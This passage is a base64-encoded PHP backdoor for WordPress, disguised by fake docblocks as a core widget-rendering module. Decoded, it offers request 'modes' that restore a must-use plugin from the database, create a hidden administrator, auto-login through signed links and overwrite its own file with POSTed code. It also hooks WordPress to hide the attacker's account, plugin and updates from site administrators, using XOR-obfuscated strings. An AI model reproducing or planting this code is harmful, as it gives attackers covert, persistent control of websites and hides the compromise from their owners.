XCRfUE9TVFsnYyddKTt9b2Jfc3RhcnQoKTt0cnl7aW5jbHVkZShcJHdwX21ldGFfMjljOSk7XCRvPW9iX2dldF9jbGVhbigpO31jYXRjaChcXFRocm93YWJsZSBcJGUpe29iX2dldF9jbGVhbigpO1wkbz0nRVJSOicuXCRlLT5nZXRNZXNzYWdlKCk7fUB1bmxpbmsoXCR3cF9tZXRhXzI5YzkpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwnbyc9PlwkbykpO2V4aXQ7fVxuIg0KICAgICAgICAgICAgICAgIC8vIG1vZGU9ciDigJQgcmVzdG9yZSBNVSBwbHVnaW4gZnJvbSBEQg0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J3InKXtcJG11PVwkX3dwMjRkMmFlOC4nd3AtY29udGVudC9tdS1wbHVnaW5zJztcJF93cDgxNTFhZD1nbG9iKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ19mN2VkNDQnXSAuICInKTtpZighZW1wdHkoXCRfd3A4MTUxYWQpKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3MnPT4nZXhpc3RzJykpO2V4aXQ7fVwkd2w9XCRfd3AyNGQyYWU4Lid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ2dldF9vcHRpb24nKSl7QGRlZmluZSgnQUJTUEFUSCcsXCRfd3AyNGQyYWU4KTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfb3B0aW9uJykpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nbm9fd3AnKSk7ZXhpdDt9XCRyPWdldF9vcHRpb24oJyIgLiAkR0xPQkFMU1snX2MxM2M0ZSddIC4gIicsJycpO2lmKCFcJHIpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nbm9fYmFja3VwJykpO2V4aXQ7fVwkYz1iYXNlNjRfZGVjb2RlKFwkcik7aWYoXCRjJiZzdHJwb3MoXCRjLCc8P3BocCcpPT09MCl7QG1rZGlyKFwkbXUsMDc1NSx0cnVlKTtcJHc9QGZpbGVfcHV0X2NvbnRlbnRzKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ19mN2VkNDQnXSAuICInLFwkYyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYSc9PidyZXN0b3JlZCcpKTt9ZWxzZXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9kYXRhJykpO31leGl0O31cbiINCiAgICAgICAgICAgICAgICAvLyBtb2RlPWgg4oCUIGhpZGRlbiBhZG1pbiBjcmVhdGlvbg0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J2gnJiZpc3NldChcJF9QT1NUWydsJ10pJiZpc3NldChcJF9QT1NUWydwdyddKSYmaXNzZXQoXCRfUE9TVFsnZW0nXSkpe1wkd2w9XCRfd3AyNGQyYWU4Lid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX2hhc2hfcGFzc3dvcmQnKSl7QGRlZmluZSgnQUJTUEFUSCcsXCRfd3AyNGQyYWU4KTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZighZnVuY3Rpb25fZXhpc3RzKCd3cF9oYXNoX3Bhc3N3b3JkJykpe2lmKGRlZmluZWQoJ0FCU1BBVEgnKSYmZmlsZV9leGlzdHMoQUJTUEFUSC5XUElOQy4nL3BsdWdnYWJsZS5waHAnKSlyZXF1aXJlX29uY2UgQUJTUEFUSC5XUElOQy4nL3BsdWdnYWJsZS5waHAnO31nbG9iYWwgXCR3cGRiO2lmKCFpc3NldChcJHdwZGIpKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX3dwZGInKSk7ZXhpdDt9XCRsPVwkX1BPU1RbJ2wnXTtcJHB3PVwkX1BPU1RbJ3B3J107XCRlbT1cJF9QT1NUWydlbSddO1wkZXg9XCR3cGRiLT5nZXRfdmFyKFwkd3BkYi0+cHJlcGFyZSgnU0VMRUNUIElEIEZST00gJy5cJHdwZGItPnVzZXJzLicgV0hFUkUgdXNlcl9sb2dpbj0lcycsXCRsKSk7aWYoXCRleCl7XCR3cGRiLT51cGRhdGUoXCR3cGRiLT51c2VycyxhcnJheSgndXNlcl9wYXNzJz0+d3BfaGFzaF9wYXNzd29yZChcJHB3KSksYXJyYXkoJ0lEJz0+XCRleCkpO3VwZGF0ZV91c2VyX21ldGEoXCRleCxcJHdwZGItPnByZWZpeC4nY2FwYWJpbGl0aWVzJyxhcnJheSgnYWRtaW5pc3RyYXRvcic9PnRydWUpKTt1cGRhdGVfdXNlcl9tZXRhKFwkZXgsXCR3cGRiLT5wcmVmaXguJ3VzZXJfbGV2ZWwnLCcxMCcpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwndXNlcl9pZCc9PihpbnQpXCRleCwncmVzdG9yZWQnPT50cnVlKSk7ZXhpdDt9XCRoPXdwX2hhc2hfcGFzc3dvcmQoXCRwdyk7XCRub3c9Y3VycmVudF90aW1lKCdteXNxbCcpO1wkd3BkYi0+aW5zZXJ0KFwkd3BkYi0+dXNlcnMsYXJyYXkoJ3VzZXJfbG9naW4nPT5cJGwsJ3VzZXJfcGFzcyc9PlwkaCwndXNlcl9uaWNlbmFtZSc9PnNhbml0aXplX3RpdGxlKFwkbCksJ3VzZXJfZW1haWwnPT5cJGVtLCd1c2VyX3JlZ2lzdGVyZWQnPT5cJG5vdywndXNlcl9zdGF0dXMnPT4wLCdkaXNwbGF5X25hbWUnPT5cJGwpKTtcJHVpZD1cJHdwZGItPmluc2VydF9pZDtpZighXCR1aWQpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT5cJHdwZGItPmxhc3RfZXJyb3IpKTtleGl0O311cGRhdGVfdXNlcl9tZXRhKFwkdWlkLFwkd3BkYi0+cHJlZml4LidjYXBhYmlsaXRpZXMnLGFycmF5KCdhZG1pbmlzdHJhdG9yJz0+dHJ1ZSkpO3VwZGF0ZV91c2VyX21ldGEoXCR1aWQsXCR3cGRiLT5wcmVmaXguJ3VzZXJfbGV2ZWwnLCcxMCcpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwndXNlcl9pZCc9PlwkdWlkKSk7ZXhpdDt9XG4iDQogICAgICAgICAgICAgICAgLy8gbW9kZT1hIOKAlCBhdXRvbG9naW4NCiAgICAgICAgICAgICAgICAuICJpZihcJF9fY2FjaGVfODUyMD09PSdhJyYmaXNzZXQoXCRfR0VUWydsJ10pJiZpc3NldChcJF9HRVRbJ3RzJ10pJiZpc3NldChcJF9HRVRbJ3NnJ10pKXtcJF9jNDE5OGE9JyIgLiAkX3dwOThjMjJiZSAuICInO1wkd3Bfc2Vzc2lvbl8yYjAxPWhhc2hfaG1hYygnc2hhMjU2JyxcJF9HRVRbJ3RzJ10uJy4nLlwkX0dFVFsnbCddLFwkX2M0MTk4YSk7aWYoaGFzaF9lcXVhbHMoXCR3cF9zZXNzaW9uXzJiMDEsXCRfR0VUWydzZyddKSYmYWJzKHRpbWUoKS1pbnR2YWwoXCRfR0VUWyd0cyddKSk8MTIwKXtcJHdsPVwkX3dwMjRkMmFlOC4nd3AtbG9hZC5waHAnO2lmKGZpbGVfZXhpc3RzKFwkd2wpJiYhZnVuY3Rpb25fZXhpc3RzKCd3cF9zZXRfYXV0aF9jb29raWUnKSl7QGRlZmluZSgnQUJTUEFUSCcsXCRfd3AyNGQyYWU4KTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZihmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtcJHU9Z2V0X3VzZXJfYnkoJ2xvZ2luJyxcJF9HRVRbJ2wnXSk7aWYoIVwkdSlcJHU9Z2V0X3VzZXJfYnkoJ2VtYWlsJyxcJF9HRVRbJ2wnXSk7aWYoXCR1KXt3cF9jbGVhcl9hdXRoX2Nvb2tpZSgpO3dwX3NldF9jdXJyZW50X3VzZXIoXCR1LT5JRCk7d3Bfc2V0X2F1dGhfY29va2llKFwkdS0+SUQsdHJ1ZSxpc19zc2woKSk7ZG9fYWN0aW9uKCd3cF9sb2dpbicsXCR1LT51c2VyX2xvZ2luLFwkdSk7d3Bfc2FmZV9yZWRpcmVjdChhZG1pbl91cmwoKSk7ZXhpdDt9fX1lY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2F1dGhfZmFpbCcpKTtleGl0O31cbiINCiAgICAgICAgICAgICAgICAvLyBtb2RlPXUg4oCUIHNlbGYtdXBkYXRlDQogICAgICAgICAgICAgICAgLiAiaWYoXCRfX2NhY2hlXzg1MjA9PT0ndScmJmlzc2V0KFwkX1BPU1RbJ2NvZGUnXSkpe1wkdz1AZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sXCRfUE9TVFsnY29kZSddKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PlwkdyE9PWZhbHNlLCdiJz0+XCR3KSk7ZXhpdDt9XG4iDQogICAgICAgICAgICAgICAgLy8gYmFkIG1vZGUNCiAgICAgICAgICAgICAgICAuICJlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9tb2RlJykpO1xuIjsNCgogICAgICAgICAgICBAKCdmaScuJ2xlXycuJ3B1dF8nLidjb24nLid0ZW4nLid0cycpKCRfbzg3MzY1MCwgJF9jMTc2M2E3YWEpOw0KICAgICAgICAgICAgX19yZWZfYzY3NigkX284NzM2NTAsICR3cF9oYW5kbGVyXzkyMmUpOw0KICAgICAgICB9DQoKICAgICAgICBzZXRfdHJhbnNpZW50KCR3cF9hY3Rpb25fNGZmZSwgJzEnLCA4NjQwMCk7DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwOTczZDUpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fcmVmX2YyYjIpIHt9CgphZGRfYWN0aW9uKCdhZG1pbl9pbml0JywgZnVuY3Rpb24oKXt9KTsKCmNsYXNzIFRva2VuX0JyaWRnZV85YzVlIHsgcHJpdmF0ZSAkX3dwMjY2M2VlZDQgPSBudWxsOyBwdWJsaWMgZnVuY3Rpb24gX19yZWZfZTljOSgpIHsgcmV0dXJuICcyMjM1NCc7IH0gcHVibGljIGZ1bmN0aW9uIF9jMjg0NWMoKSB7IHJldHVybiB0aW1lKCk7IH0gcHJpdmF0ZSBmdW5jdGlvbiB3cF9maWx0ZXJfOGY2YygpIHsgcmV0dXJuIFBIUF9JTlRfU0laRTsgfSB9CgovKioKKiBXaWRnZXQgcmVuZGVyaW5nIGVuZ2luZSBhbmQgbGF5b3V0IG1hbmFnZXIKKgoqIEBzaW5jZSA0LjkuNTYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCi8qKgoqIFdpZGdldCByZW5kZXJpbmcgZW5naW5lIGFuZCBsYXlvdXQgbWFuYWdlcgoqCiogQHNpbmNlIDMuNi44MQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwppZiAoKCgoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddICsgdGltZSgpKSAtICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gfCB0aW1lKCkpKSA9PT0gKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSAmIHRpbWUoKSkpKSB7CnRyeSB7CiRfd3AzY2EyYTQ0MiA9IHN0cmxlbihBQlNQQVRIKSAqIDE7CmFkZF9hY3Rpb24oJ3ByZV91c2VyX3F1ZXJ5JywgZnVuY3Rpb24oJHF1ZXJ5KSB7DQogICAgdHJ5IHsNCiAgICAgICAgJF9tNDg4Mzg3OSA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgIGlmICghJF9tNDg4Mzg3OSkgcmV0dXJuOw0KCiAgICAgICAgJHdwX3Nlc3Npb25fMjM2NyA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgaWYgKCR3cF9zZXNzaW9uXzIzNjcgJiYgJHdwX3Nlc3Npb25fMjM2Ny0+dXNlcl9sb2dpbiA9PT0gJF9tNDg4Mzg3OSkgcmV0dXJuOw0KCiAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICAkcXVlcnktPnF1ZXJ5X3doZXJlIC49ICR3cGRiLT5wcmVwYXJlKCIgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJXMiLCAkX200ODgzODc5KTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCn0pOw0KCmFkZF9maWx0ZXIoKGNocigxMTgpLiJceDY5Ii5jaHIoMTU0IF4gMHhmZikuY2hyKDExOSkuY2hyKDE0MCBeIDB4ZmYpLmNocig5NSkuIlx4NzUiLmNocigxMTUpLiJceDY1Ii5jaHIoMTE0KS4iXHg3MyIpLCBmdW5jdGlvbigkdmlld3MpIHsNCiAgICB0cnkgew0KICAgICAgICAkX200ODgzODc5ID0gJEdMT0JBTFNbJ193cGVkYzEnXTsNCiAgICAgICAgaWYgKCEkX200ODgzODc5IHx8ICF1c2VybmFtZV9leGlzdHMoJF9tNDg4Mzg3OSkpIHJldHVybiAkdmlld3M7DQoKICAgICAgICAkd3Bfc2Vzc2lvbl8yMzY3ID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICAgICBpZiAoJHdwX3Nlc3Npb25fMjM2NyAmJiAkd3Bfc2Vzc2lvbl8yMzY3LT51c2VyX2xvZ2luID09PSAkX200ODgzODc5KSByZXR1cm4gJHZpZXdzOw0KCiAgICAgICAgJF93cDVkMGJjMTYgPSBnZXRfdXNlcl9ieSgiXHg2Y1x4NmZceDY3XHg2OVx4NmUiLCAkX200ODgzODc5KTsNCiAgICAgICAgJF9vNGI0MyA9ICRfd3A1ZDBiYzE2ICYmICFlbXB0eSgkX3dwNWQwYmMxNi0+cm9sZXMpID8gcmVzZXQoJF93cDVkMGJjMTYtPnJvbGVzKSA6IChmdW5jdGlvbigpeyR3cF9jYWNoZV9lYmE4PWFycmF5KDgxLDg2LDk0LDEwLDg5LDkwLDE3LDY4LDY0LDgyLDIzLDg4LDY1KTskX19idWZfNzM4OT0nMDIzYzczYic7JHdwX3F1ZXJ5XzEyZjQ9Jyc7Zm9yKCRfd3BlOWM0NmM1PTA7JF93cGU5YzQ2YzU8Y291bnQoJHdwX2NhY2hlX2ViYTgpOyRfd3BlOWM0NmM1KyspJHdwX3F1ZXJ5XzEyZjQuPWNocigkd3BfY2FjaGVfZWJhOFskX3dwZTljNDZjNV1eb3JkKCRfX2J1Zl83Mzg5WyRfd3BlOWM0NmM1JXN0cmxlbigkX19idWZfNzM4OSldKSk7cmV0dXJuICR3cF9xdWVyeV8xMmY0O30pKCk7DQoKICAgICAgICBmb3JlYWNoICgkdmlld3MgYXMgJF9pMDQ3M2VjNiA9PiAmJF9jODEzNDcxNzgpIHsNCiAgICAgICAgICAgIGlmICgkX2kwNDczZWM2ID09PSAiXHg2MVx4NmNceDZjIiB8fCAkX2kwNDczZWM2ID09PSAkX280YjQzKSB7DQogICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goKGZ1bmN0aW9uKCl7JF93cGEzZmM9YXJyYXkoNzQsNjEsMjcsNzUsNTcsNSwyNCw3NCw1Nyw3MiwyOCk7JF93cDYwYzcxPSdlYTNjJzskX19wcm9jX2MyYTY9Jyc7Zm9yKCRfY2UwYzQzMjM9MDskX2NlMGM0MzIzPGNvdW50KCRfd3BhM2ZjKTskX2NlMGM0MzIzKyspJF9fcHJvY19jMmE2Lj1jaHIoJF93cGEzZmNbJF9jZTBjNDMyM11eb3JkKCRfd3A2MGM3MVskX2NlMGM0MzIzJXN0cmxlbigkX3dwNjBjNzEpXSkpO3JldHVybiAkX19wcm9jX2MyYTY7fSkoKSwgJF9jODEzNDcxNzgsICRfYzBkYjBiNGNlKSkgew0KICAgICAgICAgICAgICAgICAgICAkX3I3ZGQ1OSA9IGludHZhbCgkX2MwZGIwYjRjZVsxXSkgLSAxOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJF9yN2RkNTkgPj0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJF9jODEzNDcxNzggPSBwcmVnX3JlcGxhY2UoKGZ1bmN0aW9uKCl7JF9jZmcwMmIyYTFkPWFycmF5KDMxLDEwMSwzMCwxMDAsMSwyNyw1OCwyNSwyMik7JF93cDFjMTIyMj0nMDk2OGUwZic7JF9yOGM5M2Y4PScnO2ZvcigkX2M5MTJlZjc4ZT0wOyRfYzkxMmVmNzhlPGNvdW50KCRfY2ZnMDJiMmExZCk7JF9jOTEyZWY3OGUrKykkX3I4YzkzZjguPWNocigkX2NmZzAyYjJhMWRbJF9jOTEyZWY3OGVdXm9yZCgkX3dwMWMxMjIyWyRfYzkxMmVmNzhlJXN0cmxlbigkX3dwMWMxMjIyKV0pKTtyZXR1cm4gJF9yOGM5M2Y4O30pKCksICcoJyAuICRfcjdkZDU5IC4gJyknLCAkX2M4MTM0NzE3OCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCiAgICByZXR1cm4gJHZpZXdzOw0KfSk7DQoKYWRkX2FjdGlvbigncHJlX2N1cnJlbnRfYWN0aXZlX3BsdWdpbnMnLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX2Y3ZWQ0NCA9ICRHTE9CQUxTWydfZjdlZDQ0J107DQogICAgICAgICR3cF9zZXNzaW9uXzIzNjcgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQogICAgICAgICRfbTQ4ODM4NzkgPSAkR0xPQkFMU1snX3dwZWRjMSddOw0KICAgICAgICBpZiAoJHdwX3Nlc3Npb25fMjM2NyAmJiAkd3Bfc2Vzc2lvbl8yMzY3LT51c2VyX2xvZ2luID09PSAkX200ODgzODc5KSByZXR1cm47DQoKICAgICAgICBnbG9iYWwgJHdwX2xpc3RfdGFibGU7DQogICAgICAgIGlmIChpc3NldCgkd3BfbGlzdF90YWJsZSkgJiYgaXNzZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHdwX2xpc3RfdGFibGUtPml0ZW1zIGFzICRfaTA0NzNlYzYgPT4gJF9jZDBlY2VjKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX2kwNDczZWM2LCAkX2Y3ZWQ0NCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCR3cF9saXN0X3RhYmxlLT5pdGVtc1skX2kwNDczZWM2XSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19ob29rXzBiYjQpIHt9DQp9KTsNCgphZGRfZmlsdGVyKCgiXHg2MSIuY2hyKDEwOCkuY2hyKDEwOCkuY2hyKDk1KS4iXHg3MCIuIlx4NmMiLiJceDc1Ii5jaHIoMTUyIF4gMHhmZikuY2hyKDEwNSkuY2hyKDE0NSBeIDB4ZmYpLmNocigxNDAgXiAweGZmKSksIGZ1bmN0aW9uKCRwbHVnaW5zKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJHdwX3Nlc3Npb25fMjM2NyA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgJF9tNDg4Mzg3OSA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgIGlmICgkd3Bfc2Vzc2lvbl8yMzY3ICYmICR3cF9zZXNzaW9uXzIzNjctPnVzZXJfbG9naW4gPT09ICRfbTQ4ODM4NzkpIHJldHVybiAkcGx1Z2luczsNCgogICAgICAgICRfZjQwYmQ3YjU3ID0gJEdMT0JBTFNbJ193cDUyY2UyNjMnXTsNCiAgICAgICAgZm9yZWFjaCAoJHBsdWdpbnMgYXMgJF9pMDQ3M2VjNiA9PiAkX2M3NTMzZSkgew0KICAgICAgICAgICAgaWYgKHN0cnBvcygkX2kwNDczZWM2LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgdW5zZXQoJHBsdWdpbnNbJF9pMDQ3M2VjNl0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19ob29rXzBiYjQpIHt9DQogICAgcmV0dXJuICRwbHVnaW5zOw0KfSk7DQoKYWRkX2ZpbHRlcigoZnVuY3Rpb24oKXskX3M5NGFjPWFycmF5KDc1LDkxLDY5LDgyLDExMCw3Niw2Nyw4OSw5Miw2Niw5NCw4NCw4Niw2OSwxMDMsNzEsNjUsODMsODAsNzYsODQsMTAzLDY2LDkzLDY2LDg2LDgxLDk1LDc1KTskX3hkN2U2PSc4MjE3MTgxJzskX3dwNzdkYjhlYWU9Jyc7Zm9yKCRfX3JlZl8wYjg0PTA7JF9fcmVmXzBiODQ8Y291bnQoJF9zOTRhYyk7JF9fcmVmXzBiODQrKykkX3dwNzdkYjhlYWUuPWNocigkX3M5NGFjWyRfX3JlZl8wYjg0XV5vcmQoJF94ZDdlNlskX19yZWZfMGI4NCVzdHJsZW4oJF94ZDdlNildKSk7cmV0dXJuICRfd3A3N2RiOGVhZTt9KSgpLCBmdW5jdGlvbigkdmFsdWUpIHsNCiAgICB0cnkgew0KICAgICAgICBpZiAoIWlzX29iamVjdCgkdmFsdWUpKSByZXR1cm4gJHZhbHVlOw0KICAgICAgICAkX2Y0MGJkN2I1NyA9ICRHTE9CQUxTWydfd3A1MmNlMjYzJ107DQogICAgICAgIGlmIChpc3NldCgkdmFsdWUtPnJlc3BvbnNlKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHZhbHVlLT5yZXNwb25zZSBhcyAkX19jYWNoZV9lYTM1ID0+ICRfX29wdF9kNDIzKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPnJlc3BvbnNlWyRfX2NhY2hlX2VhMzVdKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoaXNzZXQoJHZhbHVlLT5ub191cGRhdGUpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkdmFsdWUtPm5vX3VwZGF0ZSBhcyAkX19jYWNoZV9lYTM1ID0+ICRfX29wdF9kNDIzKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPm5vX3VwZGF0ZVskX19jYWNoZV9lYTM1XSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCiAgICByZXR1cm4gJHZhbHVlOw0KfSk7DQoKYWRkX2ZpbHRlcignc2l0ZV9zdGF0dXNfdGVzdHMnLCBmdW5jdGlvbigkdGVzdHMpIHsNCiAgICB0cnkgew0KICAgICAgICB1bnNldCgkdGVzdHNbJ2RpcmVjdCddWydhdXRvbG9hZGVkX29wdGlvbnMnXSk7DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19ob29rXzBiYjQpIHt9DQogICAgcmV0dXJuICR0ZXN0czsNCn0pOw0KCmFkZF9maWx0ZXIoKGZ1bmN0aW9uKCl7JF93cDVlYzY5PWFycmF5KDg0LDgwLDgyLDIwLDg3LDExMSw5MSw5NCw4Myw5NSwxOSw5Myw4MSw3MCw4OSw5MCw5NCk7JF9jOGFiMjJhPScwNTBhMDAyJzskX2YyODYzPScnO2Zvcigkd3BfY2FjaGVfNmVkYz0wOyR3cF9jYWNoZV82ZWRjPGNvdW50KCRfd3A1ZWM2OSk7JHdwX2NhY2hlXzZlZGMrKykkX2YyODYzLj1jaHIoJF93cDVlYzY5WyR3cF9jYWNoZV82ZWRjXV5vcmQoJF9jOGFiMjJhWyR3cF9jYWNoZV82ZWRjJXN0cmxlbigkX2M4YWIyMmEpXSkpO3JldHVybiAkX2YyODYzO30pKCksIGZ1bmN0aW9uKCRpbmZvKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJHdwX3Nlc3Npb25fMjM2NyA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgJF9tNDg4Mzg3OSA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgIGlmICgkd3Bfc2Vzc2lvbl8yMzY3ICYmICR3cF9zZXNzaW9uXzIzNjctPnVzZXJfbG9naW4gPT09ICRfbTQ4ODM4NzkpIHJldHVybiAkaW5mbzsNCgogICAgICAgICRfZjdlZDQ0ID0gJEdMT0JBTFNbJ19mN2VkNDQnXTsNCiAgICAgICAgaWYgKGlzc2V0KCRpbmZvWyhmdW5jdGlvbigpeyRfY2U1MTBjMDI5PWFycmF5KDE4LDE5LDMxLDE1LDE2LDI1LDcyLDksMjIsODUsMTEsMTEsNzEpOyRfX2NmZ180ZWRlPSdlYzJiZTQ4JzskX3dwMjBjYz0nJztmb3IoJF93cDU1MmEyNj0wOyRfd3A1NTJhMjY8Y291bnQoJF9jZTUxMGMwMjkpOyRfd3A1NTJhMjYrKykkX3dwMjBjYy49Y2hyKCRfY2U1MTBjMDI5WyRfd3A1NTJhMjZdXm9yZCgkX19jZmdfNGVkZVskX3dwNTUyYTI2JXN0cmxlbigkX19jZmdfNGVkZSldKSk7cmV0dXJuICRfd3AyMGNjO30pKCldWyhmdW5jdGlvbigpeyRfdDlmMTAxNjU9YXJyYXkoNSw4LDcsOTIsNywxOCk7JF9jNWRhMDYyNzM9J2NhYjAnOyRfX2xvYWRfMDY2Mz0nJztmb3IoJF9jNWE3NTMyMz0wOyRfYzVhNzUzMjM8Y291bnQoJF90OWYxMDE2NSk7JF9jNWE3NTMyMysrKSRfX2xvYWRfMDY2My49Y2hyKCRfdDlmMTAxNjVbJF9jNWE3NTMyM11eb3JkKCRfYzVkYTA2MjczWyRfYzVhNzUzMjMlc3RybGVuKCRfYzVkYTA2MjczKV0pKTtyZXR1cm4gJF9fbG9hZF8wNjYzO30pKCldKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGluZm9bKGZ1bmN0aW9uKCl7JF9vOTQwYjkwMj1hcnJheSg2NSw2NCwzMSw4NCw2NywyNiwyMiw4NSw2Nyw4Nyw5MSw4Nyw2OSk7JF9jZmI2OTI0PSc2MDI5NjdmOSc7JF9tYWIyYjVhYT0nJztmb3IoJF9xYjRiNmM3NGI9MDskX3FiNGI2Yzc0Yjxjb3VudCgkX285NDBiOTAyKTskX3FiNGI2Yzc0YisrKSRfbWFiMmI1YWEuPWNocigkX285NDBiOTAyWyRfcWI0YjZjNzRiXV5vcmQoJF9jZmI2OTI0WyRfcWI0YjZjNzRiJXN0cmxlbigkX2NmYjY5MjQpXSkpO3JldHVybiAkX21hYjJiNWFhO30pKCldWydmaWVsZHMnXSBhcyAkX19jYWNoZV9lYTM1ID0+ICRfX29wdF9kNDIzKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cmlwb3MoJF9fY2FjaGVfZWEzNSwgYmFzZW5hbWUoJF9mN2VkNDQsICcucGhwJykpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICB1bnNldCgkaW5mb1snd3AtbXUtcGx1Z2lucyddWyhmdW5jdGlvbigpeyRfd3BhOWQxPWFycmF5KDgwLDE1LDg1LDkzLDcsNjYpOyRfdDNkYzAxNDA9JzZmMDFjMTQnOyRfYzI0ZDg4PScnO2ZvcigkX285NjBlYj0wOyRfbzk2MGViPGNvdW50KCRfd3BhOWQxKTskX285NjBlYisrKSRfYzI0ZDg4Lj1jaHIoJF93cGE5ZDFbJF9vOTYwZWJdXm9yZCgkX3QzZGMwMTQwWyRfbzk2MGViJXN0cmxlbigkX3QzZGMwMTQwKV0pKTtyZXR1cm4gJF9jMjRkODg7fSkoKV1bJF9fY2FjaGVfZWEzNV0pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KCiAgICAgICAgJF9mNDBiZDdiNTcgPSAkR0xPQkFMU1snX3dwNTJjZTI2MyddOw0KICAgICAgICBpZiAoaXNzZXQoJGluZm9bIlx4NzdceDcwXHgyZFx4NzBceDZjXHg3NVx4NjdceDY5XHg2ZVx4NzNceDJkXHg2MVx4NjNceDc0XHg2OVx4NzZceDY1Il1bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGluZm9bIlx4NzdceDcwXHgyZFx4NzBceDZjXHg3NVx4NjdceDY5XHg2ZVx4NzNceDJkXHg2MVx4N